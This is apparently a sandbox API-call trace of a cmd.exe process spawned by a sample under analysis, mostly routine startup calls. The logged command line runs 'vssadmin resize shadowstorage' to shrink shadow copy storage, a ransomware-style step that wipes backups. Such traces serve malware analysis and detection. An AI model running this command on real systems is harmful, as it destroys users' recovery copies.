	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x13fc"
	cmd_line = "cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 55
	os_tid = 0x4d4

	[0072.073] GetModuleHandleA (lpModuleName=0x0) returned 0xb70000
	[0072.073] __set_app_type (_Type=0x1) 
	[0072.073] __p__fmode () returned 0x77803c14
	[0072.073] __p__commode () returned 0x778049ec
	[0072.073] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xb86fd0) returned 0x0
	[0072.073] __getmainargs (in: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac, _DoWildCard=0, _StartInfo=0xb9d1b8 | out: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac) returned 0
	[0072.073] _onexit (_Func=0xb88030) returned 0xb88030
	[0072.074] _onexit (_Func=0xb88040) returned 0xb88040
	[0072.074] _onexit (_Func=0xb88050) returned 0xb88050
	[0072.074] _onexit (_Func=0xb88060) returned 0xb88060
	[0072.074] _onexit (_Func=0xb88070) returned 0xb88070
	[0072.074] _onexit (_Func=0xb88080) returned 0xb88080
	[0072.074] GetCurrentThreadId () returned 0x4d4
	[0072.074] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x4d4) returned 0xbc
	[0072.075] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0072.075] GetProcAddress (hModule=0x76750000, lpProcName="SetThreadUILanguage") returned 0x76764f70
	[0072.075] SetThreadUILanguage (LangId=0x0) returned 0x7f0409
	[0072.119] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0072.119] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x5efd6c | out: phkResult=0x5efd6c*=0x0) returned 0x2
	[0072.120] VirtualQuery (in: lpAddress=0x5efd77, lpBuffer=0x5efd24, dwLength=0x1c | out: lpBuffer=0x5efd24*(BaseAddress=0x5ef000, AllocationBase=0x4f0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0072.120] VirtualQuery (in: lpAddress=0x4f0000, lpBuffer=0x5efd24, dwLength=0x1c | out: lpBuffer=0x5efd24*(BaseAddress=0x4f0000, AllocationBase=0x4f0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0072.120] VirtualQuery (in: lpAddress=0x4f1000, lpBuffer=0x5efd24, dwLength=0x1c | out: lpBuffer=0x5efd24*(BaseAddress=0x4f1000, AllocationBase=0x4f0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0072.120] VirtualQuery (in: lpAddress=0x4f3000, lpBuffer=0x5efd24, dwLength=0x1c | out: lpBuffer=0x5efd24*(BaseAddress=0x4f3000, AllocationBase=0x4f0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0072.120] VirtualQuery (in: lpAddress=0x5f0000, lpBuffer=0x5efd24, dwLength=0x1c | out: lpBuffer=0x5efd24*(BaseAddress=0x5f0000, AllocationBase=0x5f0000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c
	[0072.120] GetConsoleOutputCP () returned 0x1b5
	[0072.126] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0072.126] SetConsoleCtrlHandler (HandlerRoutine=0xb97260, Add=1) returned 1
	[0072.126] _get_osfhandle (_FileHandle=1) returned 0x90
	[0072.126] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba388c | out: lpMode=0xba388c) returned 1
	[0072.136] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0072.136] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3888 | out: lpMode=0xba3888) returned 1
	[0072.145] _get_osfhandle (_FileHandle=1) returned 0x90
	[0072.145] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1
	[0072.153] _get_osfhandle (_FileHandle=1) returned 0x90
	[0072.153] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0072.159] _get_osfhandle (_FileHandle=1) returned 0x90
	[0072.160] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0072.167] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0072.167] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0072.183] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0072.183] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0072.192] GetEnvironmentStringsW () returned 0x9d4bc0*
	[0072.192] GetProcessHeap () returned 0x9d0000
	[0072.192] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0xaca) returned 0x9d5698
	[0072.192] FreeEnvironmentStringsA (penv="A") returned 1
	[0072.192] GetProcessHeap () returned 0x9d0000
	[0072.192] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x4) returned 0x9d46a0
	[0072.192] GetEnvironmentStringsW () returned 0x9d4bc0*
	[0072.192] GetProcessHeap () returned 0x9d0000
	[0072.192] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0xaca) returned 0x9d6170
	[0072.192] FreeEnvironmentStringsA (penv="A") returned 1
	[0072.192] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x5eecc8 | out: phkResult=0x5eecc8*=0xcc) returned 0x0
	[0072.193] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x5eecd0, lpData=0x5eecd4, lpcbData=0x5eeccc*=0x1000 | out: lpType=0x5eecd0*=0x0, lpData=0x5eecd4*=0x58, lpcbData=0x5eeccc*=0x1000) returned 0x2
	[0072.193] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x5eecd0, lpData=0x5eecd4, lpcbData=0x5eeccc*=0x1000 | out: lpType=0x5eecd0*=0x4, lpData=0x5eecd4*=0x1, lpcbData=0x5eeccc*=0x4) returned 0x0
	[0072.193] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x5eecd0, lpData=0x5eecd4, lpcbData=0x5eeccc*=0x1000 | out: lpType=0x5eecd0*=0x0, lpData=0x5eecd4*=0x1, lpcbData=0x5eeccc*=0x1000) returned 0x2
	[0072.193] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x5eecd0, lpData=0x5eecd4, lpcbData=0x5eeccc*=0x1000 | out: lpType=0x5eecd0*=0x4, lpData=0x5eecd4*=0x0, lpcbData=0x5eeccc*=0x4) returned 0x0
	[0072.193] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x5eecd0, lpData=0x5eecd4, lpcbData=0x5eeccc*=0x1000 | out: lpType=0x5eecd0*=0x4, lpData=0x5eecd4*=0x40, lpcbData=0x5eeccc*=0x4) returned 0x0
	[0072.193] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x5eecd0, lpData=0x5eecd4, lpcbData=0x5eeccc*=0x1000 | out: lpType=0x5eecd0*=0x4, lpData=0x5eecd4*=0x40, lpcbData=0x5eeccc*=0x4) returned 0x0
	[0072.193] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x5eecd0, lpData=0x5eecd4, lpcbData=0x5eeccc*=0x1000 | out: lpType=0x5eecd0*=0x0, lpData=0x5eecd4*=0x40, lpcbData=0x5eeccc*=0x1000) returned 0x2
	[0072.193] RegCloseKey (hKey=0xcc) returned 0x0
	[0072.193] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x5eecc8 | out: phkResult=0x5eecc8*=0xcc) returned 0x0
	[0072.193] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x5eecd0, lpData=0x5eecd4, lpcbData=0x5eeccc*=0x1000 | out: lpType=0x5eecd0*=0x0, lpData=0x5eecd4*=0x40, lpcbData=0x5eeccc*=0x1000) returned 0x2
	[0072.193] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x5eecd0, lpData=0x5eecd4, lpcbData=0x5eeccc*=0x1000 | out: lpType=0x5eecd0*=0x4, lpData=0x5eecd4*=0x1, lpcbData=0x5eeccc*=0x4) returned 0x0
	[0072.193] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x5eecd0, lpData=0x5eecd4, lpcbData=0x5eeccc*=0x1000 | out: lpType=0x5eecd0*=0x0, lpData=0x5eecd4*=0x1, lpcbData=0x5eeccc*=0x1000) returned 0x2
	[0072.193] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x5eecd0, lpData=0x5eecd4, lpcbData=0x5eeccc*=0x1000 | out: lpType=0x5eecd0*=0x4, lpData=0x5eecd4*=0x0, lpcbData=0x5eeccc*=0x4) returned 0x0
	[0072.193] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x5eecd0, lpData=0x5eecd4, lpcbData=0x5eeccc*=0x1000 | out: lpType=0x5eecd0*=0x4, lpData=0x5eecd4*=0x9, lpcbData=0x5eeccc*=0x4) returned 0x0
	[0072.193] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x5eecd0, lpData=0x5eecd4, lpcbData=0x5eeccc*=0x1000 | out: lpType=0x5eecd0*=0x4, lpData=0x5eecd4*=0x9, lpcbData=0x5eeccc*=0x4) returned 0x0
	[0072.193] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x5eecd0, lpData=0x5eecd4, lpcbData=0x5eeccc*=0x1000 | out: lpType=0x5eecd0*=0x0, lpData=0x5eecd4*=0x9, lpcbData=0x5eeccc*=0x1000) returned 0x2
	[0072.193] RegCloseKey (hKey=0xcc) returned 0x0
	[0072.193] time (in: timer=0x0 | out: timer=0x0) returned 0x5e40e72b
	[0072.193] srand (_Seed=0x5e40e72b) 
	[0072.193] GetCommandLineW () returned="cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB"
	[0072.194] malloc (_Size=0x4000) returned 0xb621f0
	[0072.194] GetCommandLineW () returned="cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB"
	[0072.194] malloc (_Size=0xffce) returned 0x2cd0048
	[0072.194] ??_V@YAXPAX@Z () returned 0x5efcac
	[0072.195] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2cd0048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0072.195] malloc (_Size=0xffce) returned 0x2ce0020
	[0072.195] ??_V@YAXPAX@Z () returned 0x5efa80
	[0072.195] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2ce0020, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0072.195] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0072.196] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0072.196] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0072.196] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0072.196] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0072.196] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0072.196] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0072.196] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0072.196] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0072.196] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0072.196] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0072.196] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0072.196] GetProcessHeap () returned 0x9d0000
	[0072.196] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9d5698) returned 1
	[0072.196] GetEnvironmentStringsW () returned 0x9d4bc0*
	[0072.196] GetProcessHeap () returned 0x9d0000
	[0072.196] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0xae2) returned 0x9d7738
	[0072.196] FreeEnvironmentStringsA (penv="A") returned 1
	[0072.196] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0072.196] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0072.196] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0072.196] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0072.196] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0072.196] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0072.197] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0072.197] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0072.197] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0072.197] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0072.197] malloc (_Size=0xffce) returned 0x2cefff8
	[0072.197] ??_V@YAXPAX@Z () returned 0x5ef818
	[0072.197] GetProcessHeap () returned 0x9d0000
	[0072.197] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x38) returned 0x9d0ae0
	[0072.197] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2cefff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0072.197] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x2cefff8, lpFilePart=0x5ef864 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x5ef864*="Desktop") returned 0x17
	[0072.198] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0072.198] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x5ef5e8 | out: lpFindFileData=0x5ef5e8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x9d0b20
	[0072.198] FindClose (in: hFindFile=0x9d0b20 | out: hFindFile=0x9d0b20) returned 1
	[0072.198] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x5ef5e8 | out: lpFindFileData=0x5ef5e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x9d0b20
	[0072.198] FindClose (in: hFindFile=0x9d0b20 | out: hFindFile=0x9d0b20) returned 1
	[0072.198] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x5ef5e8 | out: lpFindFileData=0x5ef5e8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x205eab37, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x205eab37, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x9d0b20
	[0072.199] FindClose (in: hFindFile=0x9d0b20 | out: hFindFile=0x9d0b20) returned 1
	[0072.199] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0072.199] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1
	[0072.199] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1
	[0072.199] GetProcessHeap () returned 0x9d0000
	[0072.199] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9d7738) returned 1
	[0072.199] GetEnvironmentStringsW () returned 0x9d4bc0*
	[0072.199] GetProcessHeap () returned 0x9d0000
	[0072.199] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0xb1a) returned 0x9d6c48
	[0072.199] FreeEnvironmentStringsA (penv="=") returned 1
	[0072.199] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2cd0048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0072.199] GetProcessHeap () returned 0x9d0000
	[0072.199] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9d0ae0) returned 1
	[0072.199] ??_V@YAXPAX@Z () returned 0x1
	[0072.199] ??_V@YAXPAX@Z () returned 0x1
	[0072.199] GetProcessHeap () returned 0x9d0000
	[0072.199] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x400e) returned 0x9d8d50
	[0072.200] GetProcessHeap () returned 0x9d0000
	[0072.200] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x84) returned 0x9d7770
	[0072.200] GetProcessHeap () returned 0x9d0000
	[0072.200] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9d8d50) returned 1
	[0072.200] GetConsoleOutputCP () returned 0x1b5
	[0072.225] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0072.225] GetUserDefaultLCID () returned 0x409
	[0072.226] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xb9f82c, cchData=8 | out: lpLCData=":") returned 2
	[0072.226] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x5efbd4, cchData=128 | out: lpLCData="0") returned 2
	[0072.226] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x5efbd4, cchData=128 | out: lpLCData="0") returned 2
	[0072.226] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x5efbd4, cchData=128 | out: lpLCData="1") returned 2
	[0072.226] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xb9f81c, cchData=8 | out: lpLCData="/") returned 2
	[0072.226] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xb9f7b8, cchData=32 | out: lpLCData="Mon") returned 4
	[0072.226] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xb9f778, cchData=32 | out: lpLCData="Tue") returned 4
	[0072.226] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xb9f738, cchData=32 | out: lpLCData="Wed") returned 4
	[0072.226] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xb9f6f8, cchData=32 | out: lpLCData="Thu") returned 4
	[0072.226] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xb9f6b8, cchData=32 | out: lpLCData="Fri") returned 4
	[0072.226] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xb9f678, cchData=32 | out: lpLCData="Sat") returned 4
	[0072.226] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xb9f638, cchData=32 | out: lpLCData="Sun") returned 4
	[0072.226] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xb9f80c, cchData=8 | out: lpLCData=".") returned 2
	[0072.226] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xb9f7f8, cchData=8 | out: lpLCData=",") returned 2
	[0072.226] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0072.228] GetProcessHeap () returned 0x9d0000
	[0072.228] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x20c) returned 0x9d7848
	[0072.228] GetConsoleTitleW (in: lpConsoleTitle=0x9d7848, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0072.235] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0072.235] GetProcAddress (hModule=0x76750000, lpProcName="CopyFileExW") returned 0x76764330
	[0072.235] GetProcAddress (hModule=0x76750000, lpProcName="IsDebuggerPresent") returned 0x76765930
	[0072.235] GetProcAddress (hModule=0x76750000, lpProcName="SetConsoleInputExeNameW") returned 0x748f09d0
	[0072.235] ??_V@YAXPAX@Z () returned 0x1
	[0072.235] GetProcessHeap () returned 0x9d0000
	[0072.235] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x400a) returned 0x9d8d50
	[0072.235] GetProcessHeap () returned 0x9d0000
	[0072.235] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9d8d50) returned 1
	[0072.236] _wcsicmp (_String1="vssadmin", _String2=")") returned 77
	[0072.236] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16
	[0072.236] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16
	[0072.236] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13
	[0072.236] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13
	[0072.236] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4
	[0072.236] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4
	[0072.236] GetProcessHeap () returned 0x9d0000
	[0072.236] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x58) returned 0x9d7a60
	[0072.236] GetProcessHeap () returned 0x9d0000
	[0072.236] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x1a) returned 0x9d7ac0
	[0072.237] GetProcessHeap () returned 0x9d0000
	[0072.237] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x70) returned 0x9d7ae8
	[0072.238] GetConsoleTitleW (in: lpConsoleTitle=0x5efac8, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0072.238] malloc (_Size=0xffce) returned 0x2ce2638
	[0072.239] ??_V@YAXPAX@Z () returned 0x5ef854
	[0072.239] malloc (_Size=0xffce) returned 0x2cf2610
	[0072.239] ??_V@YAXPAX@Z () returned 0x5ef60c
	[0072.240] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0072.240] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0072.240] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0072.240] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0072.240] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0072.240] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0072.240] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0072.240] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0072.240] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0072.240] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0072.240] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0072.240] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0072.240] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0072.240] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0072.240] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0072.240] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0072.240] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0072.240] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0072.240] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0072.240] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0072.241] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0072.241] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0072.241] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0072.241] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0072.241] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0072.241] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0072.241] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0072.241] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0072.241] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0072.241] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0072.241] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0072.241] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0072.241] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0072.241] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0072.241] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0072.241] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0072.242] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
